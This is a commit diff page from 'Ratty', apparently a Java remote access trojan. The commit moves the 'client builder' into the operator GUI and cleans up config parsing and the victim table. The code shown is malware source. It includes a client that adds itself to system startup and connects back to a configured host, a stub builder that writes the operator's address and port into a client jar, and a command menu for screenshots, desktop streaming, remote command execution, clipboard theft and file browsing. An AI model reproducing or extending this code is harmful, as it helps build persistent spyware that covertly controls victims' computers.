Browse Source

Major changes

Cleanups
Integrated the builder into the GUI
master
Sogomn 9 years ago
parent
commit
9a91b9ca99
  1. 4
      Ratty/res/connection_data.txt
  2. 24
      Ratty/src/de/sogomn/rat/Ratty.java
  3. 5
      Ratty/src/de/sogomn/rat/builder/StubBuilder.java
  4. 1
      Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java
  5. 3
      Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java
  6. 26
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  7. 12
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
  8. 15
      Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java

4
Ratty/res/connection_data.txt

@ -1,9 +1,7 @@
localhost localhost
23456 23456
false false
false
1 - Host 1 - Host
2 - Port 2 - Port
3 - Client?
4 - Builder?
3 - Client?

24
Ratty/src/de/sogomn/rat/Ratty.java

@ -10,7 +10,6 @@ import javax.swing.JOptionPane;
import com.alee.laf.WebLookAndFeel; import com.alee.laf.WebLookAndFeel;
import de.sogomn.engine.util.FileUtils; import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.builder.StubBuilder;
import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.gui.RattyGui; import de.sogomn.rat.server.gui.RattyGui;
import de.sogomn.rat.server.gui.RattyGuiController; import de.sogomn.rat.server.gui.RattyGuiController;
@ -21,7 +20,6 @@ public final class Ratty {
private static String address; private static String address;
private static int port; private static int port;
private static boolean client; private static boolean client;
private static boolean builder;
private static final String PORT_INPUT_MESSAGE = "Which port should the server be bind to?"; private static final String PORT_INPUT_MESSAGE = "Which port should the server be bind to?";
@ -46,12 +44,10 @@ public final class Ratty {
final String addressString = lines[0].trim(); final String addressString = lines[0].trim();
final String portString = lines[1].trim(); final String portString = lines[1].trim();
final String clientString = lines[2].trim(); final String clientString = lines[2].trim();
final String builderString = lines[3].trim();
address = addressString; address = addressString;
port = Integer.parseInt(portString); port = Integer.parseInt(portString);
client = Boolean.parseBoolean(clientString); client = Boolean.parseBoolean(clientString);
builder = Boolean.parseBoolean(builderString);
} }
} }
@ -115,7 +111,11 @@ public final class Ratty {
server.start(); server.start();
} }
public static void start() {
public static void main(final String[] args) {
WebLookAndFeel.install();
readConnectionData();
if (client) { if (client) {
addToStartup(); addToStartup();
connectToHost(address, port); connectToHost(address, port);
@ -130,18 +130,4 @@ public final class Ratty {
} }
} }
public static void main(final String[] args) {
WebLookAndFeel.install();
readConnectionData();
if (builder) {
StubBuilder.start();
System.exit(0);
} else {
start();
}
}
} }

5
Ratty/src/de/sogomn/rat/builder/StubBuilder.java

@ -31,7 +31,8 @@ public final class StubBuilder {
private static File getFileInput(final boolean open) { private static File getFileInput(final boolean open) {
final JFileChooser fileChooser = new JFileChooser(); final JFileChooser fileChooser = new JFileChooser();
final File currentDirectory = new File(".");
final String currentDirectoryPath = System.getProperty("user.dir");
final File currentDirectory = new File(currentDirectoryPath);
fileChooser.setCurrentDirectory(currentDirectory); fileChooser.setCurrentDirectory(currentDirectory);
@ -80,7 +81,7 @@ public final class StubBuilder {
return; return;
} }
final String fileContent = address + "\r\n" + port + "\r\ntrue\r\nfalse";
final String fileContent = address + "\r\n" + port + "\r\ntrue";
final byte[] data = fileContent.getBytes(); final byte[] data = fileContent.getBytes();
final ByteArrayInputStream in = new ByteArrayInputStream(data); final ByteArrayInputStream in = new ByteArrayInputStream(data);
final Path jarFilePath = jarFile.toPath(); final Path jarFilePath = jarFile.toPath();

1
Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java

@ -15,7 +15,6 @@ public final class DisplayPanel {
private BufferedImage image; private BufferedImage image;
private int lastKeyHit; private int lastKeyHit;
private IGuiController controller; private IGuiController controller;
private static final int SCREEN_WIDTH = 1920 / 2; private static final int SCREEN_WIDTH = 1920 / 2;

3
Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java

@ -31,11 +31,11 @@ public final class FileTreePanel {
private DefaultMutableTreeNode root; private DefaultMutableTreeNode root;
private JTree tree; private JTree tree;
private DefaultTreeModel treeModel; private DefaultTreeModel treeModel;
private DefaultMutableTreeNode lastNodeClicked;
private JScrollPane scrollPane; private JScrollPane scrollPane;
private JPopupMenu menu; private JPopupMenu menu;
private DefaultMutableTreeNode lastNodeClicked;
private IGuiController controller; private IGuiController controller;
private static final String ROOT_NAME = "Drives"; private static final String ROOT_NAME = "Drives";
@ -102,7 +102,6 @@ public final class FileTreePanel {
dialog.setContentPane(scrollPane); dialog.setContentPane(scrollPane);
dialog.pack(); dialog.pack();
dialog.setLocationByPlatform(true); dialog.setLocationByPlatform(true);
dialog.setIconImages(RattyGui.GUI_ICONS);
} }
private void addMenuItem(final String name, final Icon icon) { private void addMenuItem(final String name, final Icon icon) {

26
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -1,5 +1,7 @@
package de.sogomn.rat.server.gui; package de.sogomn.rat.server.gui;
import java.awt.BorderLayout;
import java.awt.Container;
import java.awt.Dimension; import java.awt.Dimension;
import java.awt.Point; import java.awt.Point;
import java.awt.event.ActionEvent; import java.awt.event.ActionEvent;
@ -10,7 +12,9 @@ import java.util.ArrayList;
import javax.swing.Icon; import javax.swing.Icon;
import javax.swing.ImageIcon; import javax.swing.ImageIcon;
import javax.swing.JButton;
import javax.swing.JFrame; import javax.swing.JFrame;
import javax.swing.JMenuBar;
import javax.swing.JMenuItem; import javax.swing.JMenuItem;
import javax.swing.JPopupMenu; import javax.swing.JPopupMenu;
import javax.swing.JScrollPane; import javax.swing.JScrollPane;
@ -28,18 +32,19 @@ public final class RattyGui {
private JScrollPane scrollPane; private JScrollPane scrollPane;
private JPopupMenu menu; private JPopupMenu menu;
private JMenuBar menuBar;
private JButton build;
private ServerClient lastServerClientClicked; private ServerClient lastServerClientClicked;
private IGuiController controller; private IGuiController controller;
private static final Dimension SIZE = new Dimension(800, 400);
private static final Dimension SIZE = new Dimension(800, 600);
private static final BufferedImage GUI_ICON_SMALL = ImageUtils.loadImage("/gui_icon.png"); private static final BufferedImage GUI_ICON_SMALL = ImageUtils.loadImage("/gui_icon.png");
private static final BufferedImage GUI_ICON_MEDIUM = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64); private static final BufferedImage GUI_ICON_MEDIUM = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64);
private static final BufferedImage GUI_ICON_LARGE = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 128, 128); private static final BufferedImage GUI_ICON_LARGE = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 128, 128);
private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons.png", 32, 32).getSprites(); private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons.png", 32, 32).getSprites();
public static final ArrayList<BufferedImage> GUI_ICONS = new ArrayList<BufferedImage>(3);
private static final ArrayList<BufferedImage> GUI_ICONS = new ArrayList<BufferedImage>(3);
public static final String POPUP = "Open popup"; public static final String POPUP = "Open popup";
public static final String SCREENSHOT = "Take screenshot"; public static final String SCREENSHOT = "Take screenshot";
@ -49,6 +54,7 @@ public final class RattyGui {
public static final String COMMAND = "Execute command"; public static final String COMMAND = "Execute command";
public static final String CLIPBOARD = "Get clipboard content"; public static final String CLIPBOARD = "Get clipboard content";
public static final String FREE = "Free client"; public static final String FREE = "Free client";
public static final String BUILD = "Client builder";
public static final String[] COMMANDS = { public static final String[] COMMANDS = {
POPUP, POPUP,
@ -73,6 +79,8 @@ public final class RattyGui {
tableModel = new ServerClientTableModel(); tableModel = new ServerClientTableModel();
scrollPane = new JScrollPane(table, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); scrollPane = new JScrollPane(table, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);
menu = new JPopupMenu(); menu = new JPopupMenu();
menuBar = new JMenuBar();
build = new JButton(BUILD);
for (int i = 0; i < COMMANDS.length && i < MENU_ICONS.length; i++) { for (int i = 0; i < COMMANDS.length && i < MENU_ICONS.length; i++) {
final String command = COMMANDS[i]; final String command = COMMANDS[i];
@ -81,6 +89,7 @@ public final class RattyGui {
addMenuItem(command, icon); addMenuItem(command, icon);
} }
final Container container = frame.getContentPane();
final MouseAdapter mouseAdapter = new MouseAdapter() { final MouseAdapter mouseAdapter = new MouseAdapter() {
@Override @Override
public void mousePressed(final MouseEvent m) { public void mousePressed(final MouseEvent m) {
@ -91,13 +100,18 @@ public final class RattyGui {
} }
}; };
build.setActionCommand(BUILD);
build.addActionListener(this::actionPerformed);
menuBar.add(build);
scrollPane.setBorder(null); scrollPane.setBorder(null);
table.setComponentPopupMenu(menu); table.setComponentPopupMenu(menu);
table.addMouseListener(mouseAdapter); table.addMouseListener(mouseAdapter);
table.setModel(tableModel); table.setModel(tableModel);
container.add(scrollPane, BorderLayout.CENTER);
container.add(menuBar, BorderLayout.SOUTH);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setContentPane(scrollPane);
frame.setPreferredSize(SIZE); frame.setPreferredSize(SIZE);
frame.pack(); frame.pack();
frame.setLocationByPlatform(true); frame.setLocationByPlatform(true);
@ -110,13 +124,13 @@ public final class RattyGui {
final JMenuItem item = new JMenuItem(name); final JMenuItem item = new JMenuItem(name);
item.setActionCommand(name); item.setActionCommand(name);
item.addActionListener(this::menuItemClicked);
item.addActionListener(this::actionPerformed);
item.setIcon(icon); item.setIcon(icon);
menu.add(item); menu.add(item);
} }
private void menuItemClicked(final ActionEvent a) {
private void actionPerformed(final ActionEvent a) {
if (controller == null) { if (controller == null) {
return; return;
} }

12
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -9,6 +9,7 @@ import javax.swing.JOptionPane;
import de.sogomn.rat.ActiveClient; import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.IClientObserver; import de.sogomn.rat.IClientObserver;
import de.sogomn.rat.builder.StubBuilder;
import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.ClipboardPacket;
import de.sogomn.rat.packet.CommandPacket; import de.sogomn.rat.packet.CommandPacket;
import de.sogomn.rat.packet.CreateFolderPacket; import de.sogomn.rat.packet.CreateFolderPacket;
@ -248,10 +249,13 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
@Override @Override
public void userInput(final String command) { public void userInput(final String command) {
final ServerClient serverClient = gui.getLastServerClientClicked(); final ServerClient serverClient = gui.getLastServerClientClicked();
final IPacket packet = getPacket(command, serverClient);
if (packet != null) {
serverClient.client.addPacket(packet);
if (serverClient != null) {
final IPacket packet = getPacket(command, serverClient);
if (packet != null) {
serverClient.client.addPacket(packet);
}
} }
if (command == RattyGui.DESKTOP) { if (command == RattyGui.DESKTOP) {
@ -264,6 +268,8 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
final FileTreePanel treePanel = serverClient.getTreePanel(); final FileTreePanel treePanel = serverClient.getTreePanel();
treePanel.setVisible(true); treePanel.setVisible(true);
} else if (command == RattyGui.BUILD) {
StubBuilder.start();
} }
} }

15
Ratty/src/de/sogomn/rat/server/gui/ServerClientTableModel.java

@ -9,9 +9,8 @@ final class ServerClientTableModel extends AbstractTableModel {
private ArrayList<ServerClient> serverClients; private ArrayList<ServerClient> serverClients;
private static final int COLUMN_COUNT = 6;
private static final int COLUMN_COUNT = 5;
private static final String[] HEADERS = { private static final String[] HEADERS = {
"ID",
"Name", "Name",
"IP address", "IP address",
"OS", "OS",
@ -44,8 +43,6 @@ final class ServerClientTableModel extends AbstractTableModel {
case 3: case 3:
return String.class; return String.class;
case 4: case 4:
return String.class;
case 5:
return Boolean.class; return Boolean.class;
default: default:
return super.getColumnClass(columnIndex); return super.getColumnClass(columnIndex);
@ -67,16 +64,14 @@ final class ServerClientTableModel extends AbstractTableModel {
switch (columnIndex) { switch (columnIndex) {
case 0: case 0:
return serverClient.id;
case 1:
return serverClient.getName(); return serverClient.getName();
case 2:
case 1:
return serverClient.client.getAddress(); return serverClient.client.getAddress();
case 3:
case 2:
return serverClient.getOs(); return serverClient.getOs();
case 4:
case 3:
return serverClient.getVersion(); return serverClient.getVersion();
case 5:
case 4:
return serverClient.isStreamingDesktop(); return serverClient.isStreamingDesktop();
default: default:
return null; return null;

Loading…
Cancel
Save